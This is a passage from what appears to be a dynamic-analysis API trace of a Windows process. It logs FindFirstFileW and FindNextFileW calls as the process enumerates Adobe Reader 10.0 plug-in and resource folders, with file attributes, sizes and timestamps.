ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0149.429] FindNextFileW (in: hFindFile=0x4191700, lpFindFileData=0x377eb9c | out: lpFindFileData=0x377eb9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9b058100, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7d82ddc0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9b058100, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0xa00, dwReserved0=0x0, dwReserved1=0x0, cFileName="Flash.POL", cAlternateFileName="")) returned 1 [0149.429] FindClose (in: hFindFile=0x4191700 | out: hFindFile=0x4191700) returned 1 [0149.429] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x4170050 | out: hHeap=0x300000) returned 1 [0149.429] FindNextFileW (in: hFindFile=0x4191100, lpFindFileData=0x377ee18 | out: lpFindFileData=0x377ee18*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7d807c60, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x7d82ddc0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x7d82ddc0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="MPP_RUM", cAlternateFileName="")) returned 1 [0149.429] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Multimedia\\MPP_RUM\\*", lpFindFileData=0x377eb9c | out: lpFindFileData=0x377eb9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7d807c60, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x7d82ddc0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x7d82ddc0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x4191700 [0149.430] FindNextFileW (in: hFindFile=0x4191700, lpFindFileData=0x377eb9c | out: lpFindFileData=0x377eb9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7d807c60, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x7d82ddc0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x7d82ddc0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0149.430] FindNextFileW (in: hFindFile=0x4191700, lpFindFileData=0x377eb9c | out: lpFindFileData=0x377eb9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9b058100, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7d807c60, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9b058100, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0xa00, dwReserved0=0x0, dwReserved1=0x0, cFileName="Flash.RUM", cAlternateFileName="")) returned 1 [0149.430] FindClose (in: hFindFile=0x4191700 | out: hFindFile=0x4191700) returned 1 [0149.433] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x4170050 | out: hHeap=0x300000) returned 1 [0149.433] FindNextFileW (in: hFindFile=0x4191100, lpFindFileData=0x377ee18 | out: lpFindFileData=0x377ee18*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7d807c60, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x7d807c60, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x7d807c60, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="MPP_RUS", cAlternateFileName="")) returned 1 [0149.433] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Multimedia\\MPP_RUS\\*", lpFindFileData=0x377eb9c | out: lpFindFileData=0x377eb9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7d807c60, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x7d807c60, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x7d807c60, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x4191700 [0149.434] FindNextFileW (in: hFindFile=0x4191700, lpFindFileData=0x377eb9c | out: lpFindFileData=0x377eb9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7d807c60, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x7d807c60, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x7d807c60, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0149.434] FindNextFileW (in: hFindFile=0x4191700, lpFindFileData=0x377eb9c | out: lpFindFileData=0x377eb9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9b058100, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7d807c60, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9b058100, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0xa00, dwReserved0=0x0, dwReserved1=0x0, cFileName="Flash.RUS", cAlternateFileName="")) returned 1 [0149.434] FindClose (in: hFindFile=0x4191700 | out: hFindFile=0x4191700) returned 1 [0149.434] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x4170050 | out: hHeap=0x300000) returned 1 [0149.434] FindNextFileW (in: hFindFile=0x4191100, lpFindFileData=0x377ee18 | out: lpFindFileData=0x377ee18*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7d807c60, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x7d807c60, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x7d807c60, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="MPP_SKY", cAlternateFileName="")) returned 1 [0149.434] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Multimedia\\MPP_SKY\\*", lpFindFileData=0x377eb9c | out: lpFindFileData=0x377eb9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7d807c60, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x7d807c60, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x7d807c60, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x4191700 [0149.435] FindNextFileW (in: hFindFile=0x4191700, lpFindFileData=0x377eb9c | out: lpFindFileData=0x377eb9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7d807c60, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x7d807c60, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x7d807c60, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0149.435] FindNextFileW (in: hFindFile=0x4191700, lpFindFileData=0x377eb9c | out: lpFindFileData=0x377eb9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9c36ae00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7d807c60, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9c36ae00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0xa00, dwReserved0=0x0, dwReserved1=0x0, cFileName="Flash.SKY", cAlternateFileName="")) returned 1 [0149.436] FindClose (in: hFindFile=0x4191700 | out: hFindFile=0x4191700) returned 1 [0149.436] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x4170050 | out: hHeap=0x300000) returned 1 [0149.436] FindNextFileW (in: hFindFile=0x4191100, lpFindFileData=0x377ee18 | out: lpFindFileData=0x377ee18*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7d7e1b00, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x7d807c60, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x7d807c60, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="MPP_SLV", cAlternateFileName="")) returned 1 [0149.436] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Multimedia\\MPP_SLV\\*", lpFindFileData=0x377eb9c | out: lpFindFileData=0x377eb9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7d7e1b00, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x7d807c60, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x7d807c60, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x4191700 [0149.439] FindNextFileW (in: hFindFile=0x4191700, lpFindFileData=0x377eb9c | out: lpFindFileData=0x377eb9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7d7e1b00, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x7d807c60, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x7d807c60, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0149.439] FindNextFileW (in: hFindFile=0x4191700, lpFindFileData=0x377eb9c | out: lpFindFileData=0x377eb9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9b058100, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7d7e1b00, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9b058100, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0xa00, dwReserved0=0x0, dwReserved1=0x0, cFileName="Flash.SLV", cAlternateFileName="")) returned 1 [0149.439] FindClose (in: hFindFile=0x4191700 | out: hFindFile=0x4191700) returned 1 [0149.439] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x4170050 | out: hHeap=0x300000) returned 1 [0149.440] FindNextFileW (in: hFindFile=0x4191100, lpFindFileData=0x377ee18 | out: lpFindFileData=0x377ee18*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7d7e1b00, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x7d7e1b00, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x7d7e1b00, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="MPP_TUR", cAlternateFileName="")) returned 1 [0149.440] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Multimedia\\MPP_TUR\\*", lpFindFileData=0x377eb9c | out: lpFindFileData=0x377eb9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7d7e1b00, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x7d7e1b00, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x7d7e1b00, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x4191700 [0149.440] FindNextFileW (in: hFindFile=0x4191700, lpFindFileData=0x377eb9c | out: lpFindFileData=0x377eb9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7d7e1b00, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x7d7e1b00, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x7d7e1b00, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0149.440] FindNextFileW (in: hFindFile=0x4191700, lpFindFileData=0x377eb9c | out: lpFindFileData=0x377eb9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9b058100, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7d7e1b00, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9b058100, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0xa00, dwReserved0=0x0, dwReserved1=0x0, cFileName="Flash.TUR", cAlternateFileName="")) returned 1 [0149.441] FindClose (in: hFindFile=0x4191700 | out: hFindFile=0x4191700) returned 1 [0149.441] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x4170050 | out: hHeap=0x300000) returned 1 [0149.441] FindNextFileW (in: hFindFile=0x4191100, lpFindFileData=0x377ee18 | out: lpFindFileData=0x377ee18*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7d7e1b00, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x7d7e1b00, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x7d7e1b00, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="MPP_UKR", cAlternateFileName="")) returned 1 [0149.441] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Multimedia\\MPP_UKR\\*", lpFindFileData=0x377eb9c | out: lpFindFileData=0x377eb9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7d7e1b00, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x7d7e1b00, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x7d7e1b00, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x4191700 [0149.442] FindNextFileW (in: hFindFile=0x4191700, lpFindFileData=0x377eb9c | out: lpFindFileData=0x377eb9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7d7e1b00, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x7d7e1b00, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x7d7e1b00, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0149.442] FindNextFileW (in: hFindFile=0x4191700, lpFindFileData=0x377eb9c | out: lpFindFileData=0x377eb9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9c36ae00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7d7e1b00, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9c36ae00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0xa00, dwReserved0=0x0, dwReserved1=0x0, cFileName="Flash.UKR", cAlternateFileName="")) returned 1 [0149.442] FindClose (in: hFindFile=0x4191700 | out: hFindFile=0x4191700) returned 1 [0149.442] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x4170050 | out: hHeap=0x300000) returned 1 [0149.442] FindNextFileW (in: hFindFile=0x4191100, lpFindFileData=0x377ee18 | out: lpFindFileData=0x377ee18*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7d7e1b00, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x7d7e1b00, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x7d7e1b00, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="MPP_UKR", cAlternateFileName="")) returned 0 [0149.442] FindClose (in: hFindFile=0x4191100 | out: hFindFile=0x4191100) returned 1 [0149.442] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x4160048 | out: hHeap=0x300000) returned 1 [0149.442] FindNextFileW (in: hFindFile=0x41913c0, lpFindFileData=0x377f094 | out: lpFindFileData=0x377f094*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93de7300, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7d63ebe0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x93de7300, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x174c63, dwReserved0=0x0, dwReserved1=0x0, cFileName="Multimedia.api", cAlternateFileName="MULTIM~1.API")) returned 1 [0149.443] FindClose (in: hFindFile=0x41913c0 | out: hFindFile=0x41913c0) returned 1 [0149.443] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x42cdf80 | out: hHeap=0x300000) returned 1 [0149.443] FindNextFileW (in: hFindFile=0x4191640, lpFindFileData=0x377f310 | out: lpFindFileData=0x377f310*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7dbbfec0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x7dc322e0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x7dc322e0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="plug_ins3d", cAlternateFileName="PLUG_I~1")) returned 1 [0149.444] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins3d\\*", lpFindFileData=0x377f094 | out: lpFindFileData=0x377f094*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7dbbfec0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x7dc322e0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x7dc322e0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x4191680 [0149.709] FindNextFileW (in: hFindFile=0x4191680, lpFindFileData=0x377f094 | out: lpFindFileData=0x377f094*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7dbbfec0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x7dc322e0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x7dc322e0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0149.714] FindNextFileW (in: hFindFile=0x4191680, lpFindFileData=0x377f094 | out: lpFindFileData=0x377f094*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x950fa000, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7dc0c180, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x950fa000, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x86988, dwReserved0=0x0, dwReserved1=0x0, cFileName="2d.x3d", cAlternateFileName="")) returned 1 [0150.989] FindClose (in: hFindFile=0x41917c0 | out: hFindFile=0x41917c0) returned 1 [0151.385] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x428df78 | out: hHeap=0x300000) returned 1 [0151.385] FindNextFileW (in: hFindFile=0x4191700, lpFindFileData=0x377eb9c | out: lpFindFileData=0x377eb9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7cfb2f60, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x7e414bc0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x7e414bc0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="11.00", cAlternateFileName="")) returned 0 [0151.385] FindClose (in: hFindFile=0x4191700 | out: hFindFile=0x4191700) returned 1 [0151.385] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x427df70 | out: hHeap=0x300000) returned 1 [0151.385] FindNextFileW (in: hFindFile=0x4191100, lpFindFileData=0x377ee18 | out: lpFindFileData=0x377ee18*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7cfb2f60, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x7cfb2f60, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x7cfb2f60, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Proximity", cAlternateFileName="PROXIM~1")) returned 0 [0151.385] FindClose (in: hFindFile=0x4191100 | out: hFindFile=0x4191100) returned 1 [0151.385] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x426df68 | out: hHeap=0x300000) returned 1 [0151.385] FindNextFileW (in: hFindFile=0x4191680, lpFindFileData=0x377f094 | out: lpFindFileData=0x377f094*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7cfb2f60, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x7cfb2f60, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x7cfb2f60, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Providers", cAlternateFileName="PROVID~1")) returned 0 [0151.385] FindClose (in: hFindFile=0x4191680 | out: hFindFile=0x4191680) returned 1 [0151.385] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x4160048 | out: hHeap=0x300000) returned 1 [0151.387] FindNextFileW (in: hFindFile=0x4191640, lpFindFileData=0x377f310 | out: lpFindFileData=0x377f310*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x81d5bd20, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x81d5bd20, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x81d5bd20, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="SaslPrep", cAlternateFileName="")) returned 1 [0151.387] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\SaslPrep\\*", lpFindFileData=0x377f094 | out: lpFindFileData=0x377f094*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x81d5bd20, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x81d5bd20, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x81d5bd20, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x4191680 [0151.389] FindNextFileW (in: hFindFile=0x4191680, lpFindFileData=0x377f094 | out: lpFindFileData=0x377f094*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x81d5bd20, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x81d5bd20, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x81d5bd20, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0151.389] FindNextFileW (in: hFindFile=0x4191680, lpFindFileData=0x377f094 | out: lpFindFileData=0x377f094*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x950fa000, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x81d5bd20, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x950fa000, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x359c, dwReserved0=0x0, dwReserved1=0x0, cFileName="SaslPrepProfile_norm_bidi.spp", cAlternateFileName="SASLPR~1.SPP")) returned 1 [0151.389] FindClose (in: hFindFile=0x4191680 | out: hFindFile=0x4191680) returned 1 [0151.389] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x4160048 | out: hHeap=0x300000) returned 1 [0151.389] FindNextFileW (in: hFindFile=0x4191640, lpFindFileData=0x377f310 | out: lpFindFileData=0x377f310*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x833608a0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x833608a0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x833608a0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="TypeSupport", cAlternateFileName="TYPESU~1")) returned 1 [0151.389] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\TypeSupport\\*", lpFindFileData=0x377f094 | out: lpFindFileData=0x377f094*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x833608a0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x833608a0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x833608a0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x4191680 [0151.396] FindNextFileW (in: hFindFile=0x4191680, lpFindFileData=0x377f094 | out: lpFindFileData=0x377f094*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x833608a0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x833608a0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x833608a0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 